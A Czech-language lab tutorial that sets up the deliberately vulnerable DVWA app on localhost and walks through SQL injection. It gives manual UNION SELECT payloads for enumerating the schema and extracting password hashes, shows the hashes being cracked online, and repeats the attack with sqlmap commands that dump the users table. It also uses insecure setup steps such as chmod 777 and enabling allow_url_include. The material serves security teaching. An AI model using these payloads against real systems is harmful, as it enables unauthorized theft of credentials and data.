
SQL Injection 

SQL injection útok se vyznačuje vložením nebo „injekcí“ SQL dotazu útočníkem přes vstupní 

data klienta do aplikace za účelem takové manipulace s databází, která nebyla zamýšlena 

developerem. Úspěšný SQL injection může číst citlivá data z databáze, modifikovat databázová 

data, provádět administrativní operace na databázi například vypnutí DBMS, obnovit obsah 

určitého souboru přítomného v souborovém systému DBMS a v některých případech vydávat 

příkazy do operačního systému. 

V tomto cvičení si ukážeme, jak provést SQL Injection útok s pomocí Damn Vulnerable Web 

Application (DVWA). Jedná se o záměrně zranitelnou webovou aplikaci, která slouží jako 

bezpečné prostředí profesionálům v oblastí kybernetické bezpečnosti k otestování jejich 

schopností. Díky několika nastavitelným úrovním zabezpečení je také vhodná i pro začátečníky 

nebo studenty, kteří se snaží do této oblasti dostat nebo se snaží lépe porozumět zabezpečování 

webových aplikací. 

Instalace DVWA 

Přepneme se do root adresáře a poté do adresáře var/www/html pomocí příkazů 

• cd / 

• cd var/www/html 

V tomto adresáři naklonujeme z gitu DVWA pomocí příkazu: 

• sudo git clone https://github.com/digininja/DVWA.git 

  

https://github.com/digininja/DVWA.git


Po instalaci budeme muset změnit přístupová práva příkazem 

• sudo chmod -R 777 DVWA 

 

Nyní se přepneme do adresáře DVWA/config a uvnitř tohoto adresáře uděláme kopii souboru, 

ale po jiným jménem 

• cd DVWA/config 

• cp config.inc.php.dist config.inc.php 

 

  



Nyní zeditujeme nově vytvořenou kopii a nastavíme si přihlašovací jméno a heslo na 

admin/password 

• nano config.inc.php 

• Najdeme řádky $_DVWA[ 'db_user' ]     = 'dvwa'; a $_DVWA[ 'db_password' ] = 

'p@ssw0rd'; 

o hodnotu db_user nastavíme na admin 

o hodnotu db_password nastavíme na password 

• pomocí Ctrl + O dokument uložíme a s Ctrl + X dokument opustíme 

 

Přepneme se opět pomocí cd / do root adresáře a spustíme mysql service 

• sudo service mysql start 

• sudo mysql -u root -p 

o Přihlášení je bez hesla, stačí stisknout Enter 

  



Dostaneme se do příkazového řádku databáze, kterou potřebujeme vytvořit, nastavit uživatele 

a privilegia 

• create database dvwa; 

• create user 'admin'@'127.0.0.1' identified by 'password'; 

• grant all privileges on dvwa.* to 'admin'@'127.0.0.1'; 

• exit 

 

Nyní potřebujeme spustit webový server 

• sudo service apache2 start 

  



A upravíme php.ini soubor 

• sudo nano etc/php/8.2/apache2/php.ini 

• Pomocí Ctrl + W vyhledáme slovo fopen a stiskneme Enter 

• Nano přejde na sekci Fopen wrappers a je potřeba nastavit 

o allow_url_fopen = On 

o allow_url_include = On 

• pomocí Ctrl + O dokument uložíme a s Ctrl + X dokument opustíme 

• A nakonec zadáme příkaz sudo service apache2 reload 

 

V prohlížeči zadáme adresu http://127.0.0.1/DVWA a objeví se nám přihlašovací stránka do 

webové aplikace. Přihlásíme se pomocí uživatelským jménem admin a heslem password. Po 

přihlášení se dostaneme na setup stránku a dole klikneme na tlačítko Create / Reset Database. 

Nyní se opět dostaneme na přihlašovací stránku a opět pomocí admin / password se přihlásíme. 

Přemístíme se na domovskou stránku DVWA, kde můžeme vidět, že nabízí spoustu příkladů na 

procvičení různých útoků. Nejdříve se v liště přemístíme na DVWA Security, kde nastavíme 

security level na low a klikneme na tlačítko Submit a přemístíme se na lištu SQL Injection 

Jedná se o databázi s pěti uživateli s id 1 až 5. Naším cílem bude zjistit jejich hesla. 

  

http://127.0.0.1/DVWA


Manuální přístup 

V liště SQL Injection stiskneme tlačítko View Source, které nám zobrazí zdrojový kód 

aplikace. 

<?php 
if( isset( $_REQUEST[ 'Submit' ] ) ) { 
    // Get input 
    $id = $_REQUEST[ 'id' ]; 
    switch ($_DVWA['SQLI_DB']) { 
        case MYSQL: 
            // Check database 
            $query  = "SELECT first_name, last_name FROM users WHERE user_id 
= '$id';"; 
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or 
die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? 
mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = 
mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); 
            // Get results 
            while( $row = mysqli_fetch_assoc( $result ) ) { 
                // Get values 
                $first = $row["first_name"]; 
                $last  = $row["last_name"]; 
                // Feedback for end user 
                echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: 
{$last}</pre>"; 
            } 
            mysqli_close($GLOBALS["___mysqli_ston"]); 
            break; 
        case SQLITE: 
            global $sqlite_db_connection; 
            #$sqlite_db_connection = new SQLite3($_DVWA['SQLITE_DB']); 
            #$sqlite_db_connection->enableExceptions(true); 
            $query  = "SELECT first_name, last_name FROM users WHERE user_id 
= '$id';"; 
            #print $query; 
            try { 
                $results = $sqlite_db_connection->query($query); 
            } catch (Exception $e) { 
                echo 'Caught exception: ' . $e->getMessage(); 
                exit(); 
            } 
            if ($results) { 
                while ($row = $results->fetchArray()) { 
                    // Get values 
                    $first = $row["first_name"]; 
                    $last  = $row["last_name"]; 
                    // Feedback for end user 
                    echo "<pre>ID: {$id}<br />First name: {$first}<br 
/>Surname: {$last}</pre>"; 
                } 
            } else { 
                echo "Error in fetch ".$sqlite_db->lastErrorMsg(); 
            } 
            break; 
    }  
} 
?> 



Tento kód je nebezpečný, protože přímo vkládá hodnotu proměnné $id do SQL dotazu bez 

jakékoliv sanitace. To umožňuje útočníkovi provádět libovolné SQL příkazy. 

Pokud zadáme do textového pole 1 a stiskneme tlačítko submit, vypíše se nám, co by se mělo 

vypsat: id, jméno a příjmení záznamu uživatele v databázi. 

 

Zároveň si můžeme vypisovat různé záznamy s pomocí pozměnění url adresy. Můžeme tedy 

vyzkoušet změnit id v URL adrese z: 

• http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit# 

• http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=3&Submit=Submit# 

Nyní si vyzkoušíme zadat do textového pole ' OR 1=1 #. Jedná se o always true příkaz, 

tedy příkaz, který se vždy vyhodnotí jako pravdivý, což umožní získání citlivých dat nebo 

modifikaci chování aplikace. SQL dotaz by vypadal takto: 

• SELECT first_name, last_name FROM users WHERE user_id = '' 

OR '1'='1'; 

  

http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit
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Vypíší se tedy všechny záznamy z databáze. 

 

Rozšířením dotazu na ' OR 1=1 union select null, version() # získáme 

informace o databázi, kterou aplikace využívá. 

 



Tento dotaz zneužívá schopnosti UNION SELECT. Útočníkům umožňuje kombinovat 

výsledky svého dotazu s výsledky jiného dotazu a získat tak informace, ke kterým by jinak 

neměli přístup. 

Upravíme dotaz na ' OR 1=1 union select null, user() #, který uživatele, který 

spustil databázi. 

 

  



Upravením dotazu na ' OR 1=1 union select null, database() # získáme název 

databáze 

 

  



Získaný název využijeme u dalšího dotazu ' OR 1=1 UNION SELECT 1,table_name 

FROM information_schema.tables WHERE table_type='base table' AND 

table_schema='dvwa' #, který zobrazí informační schéma databáze dvwa. Z výsledku 

vyplívá, že ve schématu jsou dvě tabulky. Nás zajímá tabulka users 

 

 

  



Z tabulky users si pomocí příkazu ' OR 1=1 UNION SELECT 1, column_name FROM 

information_schema.columns WHERE table_name='users' #, zjistíme názvy 

sloupců tabulky. 

 

  



Zjistili jsme, že tabulka users obsahuje sloupec password. Jeho hodnoty si vybereme pomocí 

příkazu ' OR 1=1  UNION SELECT user, password FROM users # 

 

  



Hesla uživatelů jsou chráněna md5 hashem. Ten lze prolomit. Přejdeme na stránku 

crackstation.net a nakopírujeme sem hashe. Stránka je za nás prolomí. 

 

SQLMap 

Vyřešíme úlohu znovu, ale tentokrát s použitím nástroje sqlmap, který automatizuje proces 

detekování a zneužití SQL injection chyb. 

Potřebujeme nejdříve získat cookies ze stránky, kde se nachází sql injection cvičení. Stiskněte 

na stránce pravé tlačíko myši > Inspection (Q) > Lišta Storage a v ní klikněte na další lištu 

cookies. Z ní potřebujeme získat hodnotu PHPSESSID cookies. Hodnotu zkopírujeme a 

doplníme ji do již předpřipraveného příkazu níže. Příkaz pak zadáme do terminálu 

 

• sqlmap -u"http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1 

&Submit=Submit#" --cookie= 

"PHPSESSID=VAŠE_PHPSESID_COOKIES_HODNOTA;security=low" 

  



Na dotaz, jestli chceme přeskočit testování nákladů specifických pro ostatní DBMS odpovíme 

ano (Y) a na další dotaz také odpovíme ano. Sqlmap zjistí, že metoda GET parameter id je 

zranitelná a ptá se nás, zda chceme pokračovat s testováním – odpovíme ne (N). Sqlmap nás 

poté informuje o výsledku. 

 

Nyní si přidáme k předešlému dotazu --dbs, což nám indentifikuje databáze na cílovém serveru. 

Dotaz by měl vypadat takto: 

• sqlmap -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1 

&Submit=Submit#" --cookie= 

"PHPSESSID=VAŠE_PHPSESID_COOKIES_HODNOTA;security=low"  

--dbs 

 

  



Opět upravíme příkaz, abychom vypsali tabulky z databáze: 

• sqlmap -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1 

&Submit=Submit#" --cookie= 

"PHPSESSID=VAŠE_PHPSESID_COOKIES_HODNOTA;security=low"  

--tables 

 

Změníme dotaz, aby vypsal sloupce z tabulky users, která je v databázi dvwa. 

• sqlmap -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1 

&Submit=Submit#" --cookie= 

"PHPSESSID=VAŠE_PHPSESID_COOKIES_HODNOTA;security=low"  

-D dvwa -T users --columns 

 

  



Na závěr provedeme dump na tabulku users: 

• sqlmap -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1 

&Submit=Submit#" --cookie= 

"PHPSESSID=VAŠE_PHPSESID_COOKIES_HODNOTA;security=low"  

-D dvwa -T users -dump 

Na dotazy odpovíme N, Y stiskneme Enter a na poslední dotaz odpovíme N. Sqlmap za nás 

hesla crackne. 

 


